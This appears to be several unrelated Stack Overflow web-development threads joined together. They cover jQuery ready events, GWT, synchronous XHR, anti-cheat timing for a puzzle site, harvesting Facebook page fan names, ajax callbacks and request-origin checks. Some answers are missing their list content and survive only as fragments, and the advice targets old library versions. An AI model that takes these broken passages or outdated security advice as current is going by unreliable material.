I've seen several responses on stackoverflow that "evade" this question by changing the code that is returned on the ajax (make it a function and call it after loading, or just remove the $(document).ready() ). I need to stress out that I can't change the retrieved code on this case.
Afer some research i created a way to get it to work.
here is my test that shows it working: http://www.antiyes.com/test/test2.php
here is the relevant code:
<script type="text/javascript" charset="utf-8">
Array.prototype.copy = function() // easy copy of an array
{
return [].concat(this);
};
// this function is added to jQuery, it allows access to the readylist
// it works for jQuery 1.3.2, it might break on future versions
$.getReadyList = function()
{
if(this.readyList != null)
this.myreadylist = this.readyList.copy();
return this.myreadylist;
};
$(document).ready(function(){
alert("blah");
});
</script>
<script type="text/javascript" charset="utf-8">
// this should be added last so it gets all the ready event
$(document).ready(function()
{
readylist = $.getReadyList();
});
</script>
then in the body I have:
<input type="button" onclick="$(readylist).each(function(){this();});" value="trigger ready" />
basically what i did was add a function to jQuery that copies the readyList before it's cleared out, then it will be available to be used by you.
it looks like the code below doesnt work:
function AjaxLoaded() { $(document).trigger('ready'); }
drop the quotes around document.
Just in case anyone needs it, I refined John's solution a bit so it could be used directly as an included javascript file.
// jquery_trigger_ready.js
// this function is added to jQuery, it allows access to the readylist
// it works for jQuery 1.3.2, it might break on future versions
$.getReadyList = function() {
if(this.readyList != null) { this.myreadylist = [].concat(this.readyList); }
return this.myreadylist;
};
$(document).ready(function() {
readylist = $.getReadyList();
});
$.triggerReady = function() {
$(readylist).each(function(){this();});
}
Including this file after including jquery allows for triggering ready by invoking $.triggerReady(). Example:
<html>
<head>
<title>trigger ready event</title>
<script src="test2_files/jquery-1.js" type="text/javascript"></script>
<script src="jquery_trigger_ready.js" type="text/javascript"></script>
</head>
<body>
<input onclick="$.triggerReady();" value="trigger ready" type="button">
<script type="text/javascript">
$(document).ready(function(){
alert("blah");
});
</script>
</body>
</html>
By the way, I wanted to make it $(document).triggerReady(). If anyone is willing to share some advice on that, ill be appreciated.
We had the same problem and solved it another way.
Instead of
$(document).ready(function () {
$('.specialClass').click(....
We used :
$(document).bind('ready', function(event) {
$('.specialClass', event.target).click(..
jQuery will trigger a "ready" event on the document as usual. When we load the content of a new div via ajax, we can write:
loadedDiv.trigger('ready')
And have all the initialization performed only on the div, obtaining what expected.
Simone Gianni's Answer I think is the most elegant and clean.
and you can even simplify it to become even more easy to use:
jQuery.fn.loadExtended = function(url,completeCallback){
return this.load(url,function(responseText, textStatus, XMLHttpRequest) {
if (completeCallback !== undefined && completeCallback !== null) {
completeCallback(responseText, textStatus, XMLHttpRequest);
}
$(this).trigger("ready");
});
};
So, now instead of using:
$(".container").load(url,function(responseText, textStatus, XMLHttpRequest) {
$(this).trigger("ready");
});
you can just use:
$(".container").loadExtended("tag_cloud.html");
or:
$(".container").loadExtended("tag_cloud.html",function(){
alert('callback function')
});
This has the advantage of only applying the trigger on the div that's being updated.
Since the jQuery readyList is not exposed as of version 1.4 (discussed here) the nice solutions above are broken.
A way around this is by creating your own readyList, through overriding the original jQuery-ready method. This needs to be done before other scripts that use the original ready method are loaded. Otherwise just the same code as John/Kikito:
// Overrides jQuery-ready and makes it triggerable with $.triggerReady
// This script needs to be included before other scripts using the jQuery-ready.
// Tested with jQuery 1.7
(function(){
var readyList = [];
// Store a reference to the original ready method.
var originalReadyMethod = jQuery.fn.ready;
// Override jQuery.fn.ready
jQuery.fn.ready = function(){
if(arguments.length && arguments.length > 0 && typeof arguments[0] === 'function') {
readyList.push(arguments[0]);
}
// Execute the original method.
originalReadyMethod.apply( this, arguments );
};
// Used to trigger all ready events
$.triggerReady = function() {
$(readyList).each(function(){this();});
};
})();
I'm not sure whether it is advisable to override the ready method. Feel free to advise me on that. I have not yet found any side effects myself though.
I'm new to stackoverflow and have been reading through a bunch of the "highest voted" questions for GWT. Several of these questions talk about the pitfalls or problems with GWT. In the articles: Which Javascript framework (jQuery vs Dojo vs ? )? and Biggest GWT Pitfalls?, some posters seem to suggest that GWT is not lightweight enough or that there are better alternatives that may be used. Do most of you feel that there are problems with GWT that have not been fixed with GWT 2.0 -- which would make you inclined to suggest using a simpler framework for a new project?
To some extent, shouldn't GWT be somewhat future-proof (since you don't have to worry about it changing drastically from release to release and since it is backed by Google)? I realize that the answer to this question depends greatly upon what you want to do or what you wish to make. I am looking at this from the perspective of starting a new web application that will eventually be used by millions of users.
Let's start with all the trade-offs I can come up with:
<div>s into separate objects, that will make the code all nice and neat". Of course, I'm over-exaggerating it, but you get the point - it's easy to imagine that an unexperienced programmer could put a full-blown Widget with lots of Handlers in every cell of a FlexTable... And then (s)he'll waste a lot of time wondering why the application feels sluggish ;) tl;dr: it's easy for beginners in GWT to make their applications "bloaty" by writing code that seems in line with what the documentation/samples/common sense ;) suggestThat's all for the trade-offs I can think of - if anyone wants to add something, please add comments.
Now for the advantages. I'm gonna skip some like internationalization, cross-browser compatibility for free, easy integration with other Google's libraries, etc, because they are kinda obvious and easy to grasp. I'll try to focus on the less emphasized but still very important features:
So it can optimize such a something like this:
public class ShapeExample implements EntryPoint {
private static final double SIDE_LEN_SMALL = 2;
private final Shape shape = new SmallSquare();
public static abstract class Shape {
public abstract double getArea();
}
public static abstract class Square extends Shape {
public double getArea() { return getSideLength() * getSideLength(); }
public abstract double getSideLength();
}
public static class SmallSquare extends Square {
public double getSideLength() { return SIDE_LEN_SMALL; }
}
public void onModuleLoad() {
Shape shape = getShape();
Window.alert("Area is " + shape.getArea());
}
private Shape getShape() { return shape; }
}
..to this:
public class ShapeExample implements EntryPoint {
public void onModuleLoad() {
Window.alert("Area is 4.0");
}
}
And then obfuscate this and minimize. Additionally, this is done in such way, that makes the resulting files more compressible via gzip.
Depending on your experience and/or preferences, the following might be an advantage (it is to me, but at times it's a PITA ;)) or not:
SuggestBox has a lot places where you can override the default behavior with your own - you can specify a different way to display the suggestions (SuggestBox.SuggestionDisplay), fire a custom action when the user selects a suggestion (SuggestBox.SuggestionCallback) or just provide a custom SuggestOracle for feeding the SuggestBox with Suggestions...Bottom line is - try GWT, chances are you'll love it and will never want to write in pure JavaScript ever again ;)
We are building small (~2K Java classes) to medium (~6K) enterprise systems on regular basis using GWT since version 1.3 was out. I understand that there is a different set of problems to solve in public site having thousand clicks per second, but I will try to tell about our biggest problems in GWT 1.x and how GWT 2.0 approaches that.
Browser Memory Leaks IE6 leaks with GWT are tremendous, IE7 leaks can be compensated with periodic page refreshes, IE8 promises some stability in this area, but not yet widely accepted in enterprise. And yes, even valid GWT code without native JS calls leaks memory in certain cases. Especially when UI is complex and you are doing a lot of Panel.clear() calls. There are no useful tools to identify the real cause of the leak at the moment. Unless you know how to hack into browser itself.
Rendering Performance you have to write your UI code very carefully, especially when building commonly used custom widgets. Deep JavaScript, CSS and DOM knowledge is still required. There is a lot of materials in internet on this topic. You need to know how and when to get down from GWT widget level to direct DOM manipulations.
Size of Downloadable Content it was impossible prior to 2.0 to split module onto different downloadable pieces without having "hard" navigation built in the application. But that will clear JavaScript context and require window reload.
UI Developers Mind Shift Experienced UI developers just don't know Java and OOP. Experienced Java developers don't know CSS,JS,HTML and don't like building UI. UI Binder goes into right direction.
We have done migration 1.3 -> 1.5 -> 1.7 and it was always just a recompile and a couple of CSS fixes. GWT 2.0 removes a lot of deprecated code and initial approaches (project structure, GWTShell) and may be tricky to migrate quickly. But all features looks promising and its good that Google have dropped legacy code at some point. I am not sure about the stability of 2.0 though, as we have not used it yet in real projects.
Hope this helps.
We have a GWT app with a bunch of Selenium acceptance tests. I thought (like you) that it would surely be safe to upgrade GWT from 1.7 to 2.0. And it was - mostly. The app still worked the same for "human" users, but the selenium tests all broke. There's a newer version of Selenium in preparation (at alpha release, with many UnsupportedOperations), but if we want to stay with GWT 2, it seems we have to give up some testability. So be careful about "future-proof" assumptions.
Our decision to use GWT was made months ago, after comparing YUI and ZK. I'm still glad we chose GWT. The level of support on the GWT website and the general quality of the documentation seems very high.
GWT does module splitting and provides performance profiling which help to counter arguments that it is not lightweight enough.
About your topic, you can find a full interesting article here:
It seems most everyone does asynchronous requests with XMLHttpRequest but obviously the fact that there is the ability to do synchronous requests indicates there might be a valid reason to do so. So what might that valid reason be?
I think they might become more popular as HTML 5 standards progress. If a web application is given access to multiple threads, I could foresee developers using a dedicated thread to make synchronous requests for, as Jonathan said, to ensure one request happens before another. With the current situation of one thread, it is a less than ideal design as it blocks until the request is complete.
You'd want to perform synchronous calls in any sort of transaction-like processing, or wherever any order of operation is necessary.
For instance, let's say you want to customize an event to log you out after playing a song. If the logout operation occurs first, then the song will never be played. This requires synchronizing the requests.
Another reason would be when working with a WebService, especially when performing math on the server.
Example: Server has a variable with value of 1.
Step (1) Perform Update: add 1 to variable
Step (2) Perform Update: set variable to the power of 3
End Value: variable equals 8If Step (2) occurs first, then the end value is 2, not 8; thus order of operation matters and synchronization is needed.
There are very few times that a synchronous call may be justified in a common real world example. Perhaps when clicking login and then clicking a portion of the site that requires a user to be logged in.
As others have said, it will tie up your browser, so stay away from it where you can.
Instead of synchronous calls, though, often users want to stop an event that is currently loading and then perform some other operation. In a way this is synchronization, since the first event is quit before the second begins. To do this, use the abort() method on the xml connection object.
I'd say that if you consider blocking the user's browser while the request completes acceptable, then sure use a synchronous request.
If serialization of requests is your aim, then this can be accomplished using async requests, by having the onComplete callback of your previous request fire the next in line.
Synchronous XHRs are useful for saving user data. If you handle the beforeunload event you can upload data to the server as the user closes the page.
If this were done using the async option, then the page could close before the request completes. Doing this synchronously ensures the request completes or fails in an expected way.
What happens if you make a synchronous call in production code?
The sky falls down.
No seriously, the user does not like a locked up browser.
I use it to validate a username, during the check that the username does not exist already.
I know it would be better to do that asynchronously, but then I should use a different code for this particular validation rule. I explain better. My validation setup uses some validation functions, which return true or false, depending if the data is valid.
Since the function has to return, I cannot use asynchronous techniques, so I just make that synchronous and hope that the server will answer promptly enough not to be too noticeable. If I used an AJAX callback, then I would have to handle the rest of the execution differently from the other validation methods.
Sometimes you have an action that depends in others. For example, action B can only be started if A is finished. The synchronous approach is usually used to avoid race conditions. Sometimes using a synchronous call is a simpler implementation then creating complex logic to check every state of your asynchronous calls that depend on each other.
The problem with this approach is that you "block" the user's browser until the action is finished (until the request returns, finishes, loads, etc). So be careful when using it.
XMLHTTPREQUEST is usually for async. Some times (for debugging, or specific business logic) you would like to change all/several of the async calls in one page to sync.
You would like to do it without changing everything in your JS code. The async/sync flag gives you that ability, and if designed correctly, you need only change one line in your code/change the value of one var during run time.
I can see a use for synchronous XHR requests to be used when a resource in a variable location must be loaded before other static resources in the page that depend on the first resource to fully function. In point of fact, I'm implementing such an XHR request in a little sub-project of my own whereas JavaScript resources reside in variable locations on the server depending on a set of specific parameters. Subsequent JavaScript resources rely on those variable resources and such files MUST be guaranteed to load before the other reliant files are loaded, thus making the application whole.
That idea foundation really kind of expands on vol7ron's answer. Transaction-based procedures are really the only time where synchronous requests should be made. In most other cases, asynchronous calls are the better alternative in which, after the call, the DOM is updated as necessary. In many cases, such as user-based systems, you could have certain features locked to "unauthorized users" until they have, per se, logged in. The those features, after the asynchronous call, are unlocked via a DOM update procedure.
I'd have to finally say that I agree with most individuals' points on the matter: wherever possible, synchronous XHR requests should be avoided as, with the way it works, the browser locks up with synchronous calls. When implementing synchronous requests, they should be done in a manner where the browser would normally be locked, anyway, say in the HEAD section before page loading actually occurs.
I use synchronous calls when developing code- whatever you did while the request was commuting to and from the server can obscure the cause of an error.
When it's working, I make it asynchronous, but I try to include an abort timer and failure callbacks, cause you never know...
By now, most mainstream browsers have started integrating optimizing JIT compilers to their JavaScript interpreters/virtual machines. That's good for everyone. Now, I'd be hard-pressed to know exactly which optimizations they do perform and how to best take advantage of them. Could anyone point me to references on optimizations in each of the major JS engines?
Background:
I'm working on a compiler that generates JavaScript from a higher-level & safer language (shameless plug: it's called OPA and it's very cool) and, given the size of applications I'm generating, I'd like my JS to be as fast and as memory-efficient as possible. I can handle high-level optimizations but I need to know more about which runtime transformations are performed, so as to know which low-level code will produce best results.
One example, from the top of my mind: the language I'm compiling will soon integrate support for laziness. Do JIT engines behave well with lazy function definitions?
This article series discusses the optimisations of V8. In summary:
The first two points might not help you very much in this situation. The third might show insight into getting things cached together. The last might help you create objects with same properties so they use the same hidden classes.
This blog post discusses some of the optimisations of SquirrelFish Extreme:
TraceMonkey is optimised via tracing. I don't know much about it but it looks like it detects the type of a variable in some "hot code" (code run in loops often) and creates optimised code based on what the type of that variable is. If the type of the variable changes, it must recompile the code - based off of this, I'd say you should stay away from changing the type of a variable within a loop.
Found an additional resource:
I am designing a web site in which users solve puzzles as quickly as they can. JavaScript is used to time each puzzle, and the number of milliseconds is sent to the server via AJAX when the puzzle is completed. How can I ensure that the time received by the server was not forged by the user?
I don't think a session-based authenticity token (the kind used for forms in Rails) is sufficient because I need to authenticate the source of a value, not just the legitimacy of the request.
Is there a way to cryptographically sign the request? I can't think of anything that couldn't be duplicated by a hacker. Is any JavaScript, by its exposed, client-side nature, subject to tampering? Am I going to have to use something that gets compiled, like Flash? (Yikes.) Or is there some way to hide a secret key? Or something else I haven't thought of?
Update: To clarify, I don't want to penalize people with slow network connections (and network speed should be considered inconsistent), so the timing needs to be 100% client-side (the timer starts only when we know the user can see the puzzle). Also, there is money involved so no amount of "trusting the user" is acceptable.
You can't guarantee the security of the timings cryptographically, because the client's browser can't do secure computation. Any means for encrypting to/from the server could be bypassed by adjusting the actual timings.
And timing on the server doesn't work, either - if you don't take account of latency in the round-trip-time, users with lower latency connections will have an advantage; if you do, users could thwart the compensation phase by adding extra latency there and then removing it later.
You can, of course make it difficult for the users to modify this, but security by obscurity is an unsustainable policy anyway.
So it comes down to either trusting your users somewhat (a reasonable assumption, most of the time) and designing the game so it's not trivial to circumvent the timings.
This approach obviously makes assumptions and is not invincible. All calculations are done on the client, and the server does some background checks to find out if the request could have been forged. Like any other client-based approach, this is not deterministic but makes it very hard for a lying client.
The main assumption is that long-lived HTTP connections are much faster for transmitting data, even negligible in some cases depending on the application context. It is used in most online trading systems as stock prices can change multiple times within a second, and this is the fastest way to transmit current price to users. You can read up more about HTTP Streaming or Comet here.
Start by creating a full-duplex ajax connection between the client and server. The server has a dedicated line to talk to the client, and the client can obviously talk to the server. The server sends the puzzle, and other messages to the client on this dedicated line. The client is supposed to confirm the receipt of each message to the server along with its local timestamp.
On the server generate random tokens (could be just distinct integers) after the puzzle has been sent, record the time when each token was generated, and pass it over to the client. The client sees the message, and is supposed to immediately relay this token back along with it's local time of receipt. To make it unpredictable for the client, generate these server tokens at random intervals, say between 1 and n ms.
There would be three types of messages that the client sends to the server:
PUZZLE_RECEIVED
TOKEN_RECEIVED
PUZZLE_COMPLETED
And two types of messages that the server sends to the client:
PUZZLE_SENT
TOKEN_SENT
There could be a lot of time variation in the messages send from the client to the server, but much lesser in the other direction (and that's a very fair assumption, hey - we have to start somewhere).
Now when the server receives a receipt to a message it sent, record the client time contained in that message. Since the token was also relayed back in this message, we can match it with the corresponding token on the server. At the end of the puzzle, the client sends a PUZZLE_COMPLETED message with local time to the server. The time to complete the puzzle would be:
PUZZLE_COMPLETED.time - PUZZLE_RECEIVED.time
Then double check by calculating the time difference in each message's sent vs received times.
PUZZLE_RECEIVED.time - PUZZLE_SENT.time
TOKEN_RECEIVED.time - TOKEN_SENT.time
A high variance in these times implies that the response could have been forged. Besides simple variance, there is lots of statistical analysis you can do on this data to look for odd patterns.
Even a compiled application could be forged. If the user changes their system clock halfway through timing, your application will report an incorrect time to the server. The only way to get an accurate upper-bound on the time it takes them is to start timing on the server when the puzzle is given to them, and to stop timing when they supply the answer.
As others have pointed out you can minimise the effect that slow connections have by making the load of the puzzle as small as possible. Load the entire page and "game engine" first, and then use an asynchronous request to load the puzzle itself (which should be a small amount of data) to level the playing field as much as possible.
Unfortunately you can't do latency compensation as this would be open to tampering. However, on a connection that's not being used for anything else, the latency for a request like this would be greatly overshadowed by the time it takes a human to solve a puzzle, I don't think it will be a big deal.
(Reasoning: 200ms is considered very bad lag, and that's the average human reaction time. The shortest possible "puzzle" for a human to complete would be a visual reaction speed test, in which case bad lag would have a 100% markup on their results. So as a timing solution this is 2-OPT. Any puzzle more complex will be impacted less by lag.)
I would also put a banner on the page saying to not use the internet connection for anything else while playing for the best possible speeds, possibly linking to a speed / latency tester.
Depending on the server side implementation you have, you could put the timing functionality on the server side. Record the time that the webpage request was made (you could put that into a database if you liked) and then when the answer is received get the current time and perform some arithmetic to get the duration of the answer. You could store the time in the session object if you liked instead of the database as well although I don't know too much about its integrity in there.
You have to use server-side time here. Here is how I would do it:
Make an AJAX request on document ready to ping the server. When server-side code receives the ping, store the server-side time as a session variable (making sure the variable does not already exist). When they finish the quiz, take the server-side time again and compare it with the session variable to determine their duration. Remove the session variable.
Why this works:
EDIT: I wanted to add that you could continue to keep client-side time, and include it in the final post. Then you can compare it with your server-side calculated time. If they are reasonably close, then you can trust the client time.
It is impossible to start and stop the timer at the client-side without fear of manipulation...
Anything you perform at the client can be altered / stopped / bypassed..
encrypting/decrypting at the client is also not safe since they can alter the info before the encryption occurs..
Since it involves money, the users can not be trusted..
The timing has to start at the server, and it has to stop at the server..
Use ajax to start the timer at the server only if the puzzle contents return with the result of the ajax call. do not load the puzzle and then sent an ajax request as this could be hijacked and delayed while they review the puzzle...
..
You asked a bunch of questions in your original question, I'm only going to answer one of them:
Am I going to have to use something that gets compiled, like Flash? (Yikes.)
Yes. Given your criteria: 1) 100% accurate, and 2) No possibility of user interference, you have to use a compiled binary.
Doesn't have to be flash though - I'd suggest a java applet if the thought of Flash makes you say "Yikes".
-- Edit:
This solution is somewhat flawed, as pointed out by ZoFrex below.
-- Old:
Here is a way (but you'll need to do some profiling).
Send down a series of "problems" for the JavaScript to solve, while they are playing the puzzle. Previously, I've sufficiently-sized number N such that it is the result of: prime1 * prime2. This forces the client to factor the number (you can get code to do this in JavaScript) and this will take time (this is where profiling clients comes in, and sending down appropriately-sized primes [obviously, this opens you to degradation-attacks, but nevertheless]).
Then, you just send down say, 500, of these prime-problems (or another type), and let the JavaScript solve them in the background. It will generate a list of solutions, and when you send the completed value, you also send this list. From the total count of answers supplied, you can determine how long they spent on the puzzle.
Cons:
Pros:
Clearly, it's attackable, (all proposed answers are), but I think it's reasonable. At least, it would be fun to work on :)
In the end, though, you need to actually install a client-side system with a bit more security. And do note that Flash certainly is not this; it's trivial to decompile. Infact, there was an IQ test here in Australia once, and it was controlled via a Flash app that was done LIVE on television. Of course, the winner was a computer programmer, I wonder why :P
-- Edit:
OP, Also, I linked it in a comment to this post, but just incase you miss it, you are kind of interested in the Hashcash, which is the aim to show that a client has completed some amount of 'Work'. Even if my implementation isn't suitable, you may find a review of that field fruitful.
It's a tricky problem because it's fundamentally unsolvable, so you need to work around the tradeoffs to do your best. There've been several good points made on the technical side including: (a) don't waste your time thinking compiling to Flash, Windows, Silverlight, JVM, or anything will actually help, (b) first transmit the encrypted real puzzle payload, then as the actual bottleneck transmit the key alone, (c) the latency even on 56k of sending a couple hundred bytes is negligible compared to human reaction time.
One thing I haven't seen mentioned is this:
Use after-the-fact auditing and tracking of users. This is how real casinos work. This is, I am told, a big part of how PayPal made their money. In both cases, rather than doing a lot of before-the-fact security, they keep very close tabs on everything about their players, use a lot of technology (statistics, pattern detection, etc) to flag suspicious players and they investigate. In both casinos and PayPal, you can't get your money right away. You have to cash in your chips or wait for the money to make it out of the PayPal system into your real bank. Your system should work the same way-- they can't actually get the money for at least a few days at minimum (longer if you are unable to set up a sufficiently speedy auditing system), giving you time to potentially impound their winnings. You have a lawyer, right? Also, casinos and PayPal know your real life identity (a must for dealing in money) so they can go after you legally-- or more importantly, deter would-be attackers since they could go after them legally.
Combined with the other tips, this may be sufficient to eliminate cheating entirely.
If you find it is not, make your goal not to totally eliminate cheating but to keep it to an acceptable level. Kind of like having 99.99% uptime. Yes, as one poster said, if even one person can compromise it everyone is screwed, but with a good auditing system the attacker won't be able to consistently cheat. If they can cheat 1 in 1000 times if they're lucky and they find they can't cheat more than once or twice before being caught, it won't be a problem since very few will cheat and any given honest user will have an extremely low chance of being affected by an extremely small amount of cheating. It'll be imperceptible. If you ever have a real cheating occurence that hurts an honest user, go out of your way to make the honest user feel satisfied with the outcome to a degree out of proportion to the value of that single customer. That way everyone will be confident in your security. They know they don't have to worry about anything.
People problems are not always solvable with technology solutions alone. You sometimes need to use people solutions. (The technology can help those people solutions work a lot better though.)
excuse me but why you can't use the time on the server? the time when you recieve the response will be the one which you use to calculate the score.
As several others have pointed out:
The answer to the problem is to use a time synchronization protocol between the client and the server similar to the protocol that NTP uses. Working together, the client and the server determine the amount of delay caused by network latency. This is then factored into the times given to each user.
NTP's algorithms are complicated and have been developed over years. But a simple approach is below; I think that the protocol should work, but you may wish to test it.
Have the client measure the round-trip time with two successive HTTP XMLRPC pings. Each ping returns a different nonce. The second ping requires the nonce from the first ping, which assures that they are sequential. The puzzle time starts when the second HTTP ping is sent from the client. The server timestamps each request and assumes that the puzzle is displayed 1/2 way between the receipt of the first and the second request.
When the puzzle is finished the client pings twice again, following the same protocol as before. The server knows when it receives each request and it knows the time delta. Now take half the time delta and subtract that from when the first ping of the second set is received. That can be safely assumed to be the time that the puzzle was completed.
there is a very fast implementation of cryptography in js here
http://crypto.stanford.edu/sjcl/
it allows public / private key encryption all on the client and I think you can adapt it to encrypt the Ajax communication between your server and the client browser
here is a detailed explanation, which you can adapt to your needs http://crypto.stanford.edu/sjcl/#usage
Just a quick thought: why don't you use an iFrame to include the game and it's javascripts and let them reside on the server you have your server side implementation running. Any ajax request should then be sent by the same IP as your server side IP is which would solve the problem of identifying the source. Of course you have to take further measures but already gained a lot of confidence in your "client" side requests. Remember the windowsLive services login and many more like it are based on javascript and the usage of iFrames and are considered secure enough.
I do not think there is a perfect solution. Here is an alternative that makes it harder for cheater but at the same time an unlucky honest solver may lose out.
Get many samples of roundtrip time measurements from each specific devices/location/other combination apriori for each user based on their other interaction with your site. You will also have these measurements for the entire population. You could also be very subtle get the timestamps for when a particular DNS lookup happened from their ISP's resolver (random hostname and you host the authoritative DNS server for that domain).
Once you have this, perform all measurements on the server side (puzzle returned to user, solution received) and subtract out the network time based on previous observations.
Note that even in other solutions you have server load, client load (slow processor, etc.), etc that affect timing.
Make sure you have XSRF protection on puzzle submission page :)
I joined Stack Overflow to ask for advice about an idea I had to sort of add a signature to a so that it couldn't be resubmit etc. I was looking for criticism, but no one's answering.
Perhaps posting it here, the idea can be of use to you and I can rope in some answers :D
I won't post it again, but if you want to take a look
http://stackoverflow.com/questions/2067821/idea-to-hinder-xsrf-and-form-spoofing
The short version is that the server generates a token which is only valid for a short time; in the HTML there is a <script> element which provides this token as a GET parameter to the server. The presence of the GET parameter results in the downloaded script checking for GUIDs in the document to confirm it corresponds to the original document. If they are present, it defines an onsubmit event handler to inject a new hidden <input> in the form which includes a new token. It then removes the <script> element (itself) from the document.
When the server receives a form submission, it double checks that the token-parameter is present, and that it corresponds to the URL an METHOD of the original form. If it doesn't the request is treated as suspect.
I'm not saying it will work; just that I've been musing on it.
The way I would do this is that when the server sends the puzzle to the client, the current time is stored in a session. This ensures that the timing starts immediately after the puzzle has been sent. After the puzzle has been completed, and is sent to the server to check if the puzzle was done right, the server again checks the time and does a comparison.
Obviously slow Internet connections can make this time bigger, but there's nothing you can do about it.
I'm trying to grab the names of fans of a Facebook fan page that I administer. I've done some snooping around, and apparently, the FB API doesn't support that, but Facebook actually uses AJAX/JSON to populate the list. Anyways, can anyone suggest a way to make that call myself and grab the data as plain text?
Also, I've found a hack that a guy wrote in Ruby, but I am completely unfamiliar with the language.
Thanks for the help in advance!
At the current time the FQL schema would suggest that there is no way to get a collection of FANS for any given PAGE. I think they are hiding this information because they display the FANS on the page... One would think that at least the ADMIN would have privileges to see the list of users.
Anyway... I hope someone make is possible in the near future.
If you have less than 500 fans, you can use the following url:
http://www.facebook.com/browse/?type=page_fans&page_id=13207908137&start=400
Each page will give you 100 fans. Change &start to (0, 100, 200, 300, 400) to get the first 500. If &start is >= 401, the page will be blank :(
SELECT first_name, last_name FROM user WHERE uid IN (SELECT uid FROM page_fan WHERE page_id = [your page id]) should work, but I get an error trying to run this through the .net facebook api...something about the where clause not being on an indexable column, which it is.
Perhaps give that a try on your platform.
can you please try this and let me know :
select uid,name from user where uid in ( select uid from page_fan where uid in (select uid2 from friend where uid1 = me()) and page_id = 'Your Page Id')
I think you can get it only for the currently logged in user and his / her friends only.
I found that in the doc: http://developers.facebook.com/docs/reference/fql/page_fan/
uid - "The user ID who has liked the Page being queried."
That one worked 'SELECT user_id FROM like WHERE object_id="YOUR PAGE ID"'
I have a registration form and am using jQuery Ajax to submit it.
Here is the jQuery Ajax code:
$(document).ready(function() {
$("form#regist").submit(function() {
var str = $("#regist").serialize();
$.ajax({
type: 'POST',
url: 'submit1.php',
data: $("#regist").serialize(),
dataType: 'json',
success: function() {
$("#loading").append("<h2>you are here</h2>");
}
});
return false;
});
});
I have validation at submit1.php for email and username. When I submit the form with valid data it enters the database and if I enter some repeated data or invalid email it does not enter the database. So my submit1.php works fine.
My main problem is that the success function event at Ajax does not work.
**
Removing dataType:json did work and my success function event was called. However now i got another issue. In my submit1.php file i check for repeated email address , and username in db. If the email or username is repeated then an error needs to be generated to the user without page refresh. I have put a die() in my server script. how do i return this response at success event in ajax?? thanks..
**
The result is probably not in JSON format, so when jQuery tries to parse it as such, it fails. You can catch the error with error: callback function.
You don't seem to need JSON in that function anyways, so you can also take out the dataType: 'json' row.
Put an alert() in your success callback to make sure it's being called at all.
If it's not, that's simply because the request wasn't successful at all, even though you manage to hit the server. Reasonable causes could be that a timeout expires, or something in your php code throws an exception.
Install the firebug addon for firefox, if you haven't already, and inspect the AJAX callback. You'll be able to see the response, and whether or not it receives a successful (200 OK) response. You can also put another alert() in the complete callback, which should definitely be invoked.
Although the problem is already solved i add this in the hope it will help others.
I made the mistake an tried to use a function directly like this (success: OnSuccess(productID)). But you have to pass an anonymous function first:
function callWebService(cartObject) {
$.ajax({
type: "POST",
url: "http://localhost/AspNetWebService.asmx/YourMethodName",
data: cartObject,
contentType: "application/x-www-form-urlencoded",
dataType: "html",
success: function () {
OnSuccess(cartObject.productID)
},
error: function () {
OnError(cartObject.productID)
},
complete: function () {
// Handle the complete event
alert("ajax completed " + cartObject.productID);
}
}); // end Ajax
return false;
}
If you do not use an anonymous function as a wrapper OnSuccess is called even if the webservice returns an exception.
I tried removing the dataType row and it didn't work for me. I got around the issue by using "complete" instead of "success" as the callback. The success callback still fails in IE, but since my script runs and completes anyway that's all I care about.
$.ajax({
type: 'POST',
url: 'somescript.php',
data: someData,
complete: function(jqXHR) {
if(jqXHR.readyState === 4) {
... run some code ...
}
}
});
in jQuery 1.5 you can also do it like this.
var ajax = $.ajax({
type: 'POST',
url: 'somescript.php',
data: 'someData'
});
ajax.complete(function(jqXHR){
if(jqXHR.readyState === 4) {
... run some code ...
}
});
The success callback takes two arguments:
success: function (data, textStatus) { }
Also make sure that the submit1.php sets the proper content-type header: application/json
I use my PHP backend to detect Ajax like this: $_SERVER['HTTP_X_REQUESTED_WITH']. This gives me a reliable detection, making sure the request is Ajaxed.
How can I make sure the request came from my own domain, and not an external domain/robot?
www.example.com/ajax?true could allow anyone to make an Ajax call and cut the information.
I could make sessions for everyone that enters my website normally, and then allow Ajax calls.. but that can be faked too.
Does it even matter, in these days?
You can check the HTTP_REFERRER, but not all browsers set it. The best way is to write a wrapper for your ajax calls on the JavaScript side which sends part of document.cookie back to the server--only your domain has access to the cookie. You can compare the cookie in the request headers with the cookie in the AJAX call in php.
In response to, "does it even matter, these days"--YES, it does! Read this.
Let you Controller
In your View
Back in your Controller
Check these security guidelines from OpenAjax.
Also, read the article on codinghorror.com Annie linked.
Really, the most secure way to do this is to, as you suggested, use server-side sessions, as these cannot be crafted as cookies can.
Granted, someone can still hijack a session ID, but if you also store the user's IP address in their session and check it on each request, you can weed out a lot of hijacks. Only someone on the same LAN or proxy could hijack it.
Any other method mentioned--cookies, javascript, http referer--depends on client-side data, which is insecure and should always be suspected of being fake, forged, hijacked and maliciously constructed.
Regarding your last question: "Does it even matter, in these days?" This is a case by case question. If the ajax request is doing something that does not require security (e.g. loading latest stock quotes) then it really doesn't matter IMHO. If the request is loading information that should be secured (e.g. returning identifying information or doing something on the server) then you should treat it as such.
I personally don't use the server variables to know when something is an ajax request. Instead I just add a query parameter to the ajax call (e.g. http://domain.com/?ajax=true). If I need to secure the ajax call then I would use the same methods as securing a regular page request (using both client and server). As Lucas Oman pointed out, anything on the client side can be faked. Bottom line don't trust any request even if you think it is coming from your site or database. Always follow the mantra "filter input - escape output".
Check the $_SERVER['HTTP_REFERER']. This will work in many cases, but shouldn't be confused for a completely-secure solution.
David Walsh has a good solution
/* decide what the content should be up here .... */
$content = get_content(); //generic function;
/* AJAX check */
if(!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
/* special ajax here */
die($content);
}
/* not ajax, do more.... */
@Jonathan Sampson - I can catch the request in something like BurpSuite and change the HTTP_REFERER...so I dont think that's the solution. I can also do it in a script w/curl.
I have this code:
$.ajax({
url : url,
data : {ids : JSON.stringify(jsonids), hotel_id: hotel_id},
success : function(response)
{
$('#be-images ul').prepend(response).fadeIn('slow');
},
dataType: 'html'
});
but the fade In does not work...I want the content to be prepended and faded in...how will I do this?
Thanks in advance!
Assuming response is HTML then try this:
$(response).hide().prependTo("#be-images ul").fadeIn("slow");
When you do it this way:
$('#be-images ul').prepend(response).fadeIn('slow');
the thing you're actually fading in is the result of the initial selector (the list at the front), which is already visible.
+1 to cletus, but I just wanted to highlight the other way you could do it.
$('#be-images ul').prepend(
$(response).hide().fadeIn('slow')
);
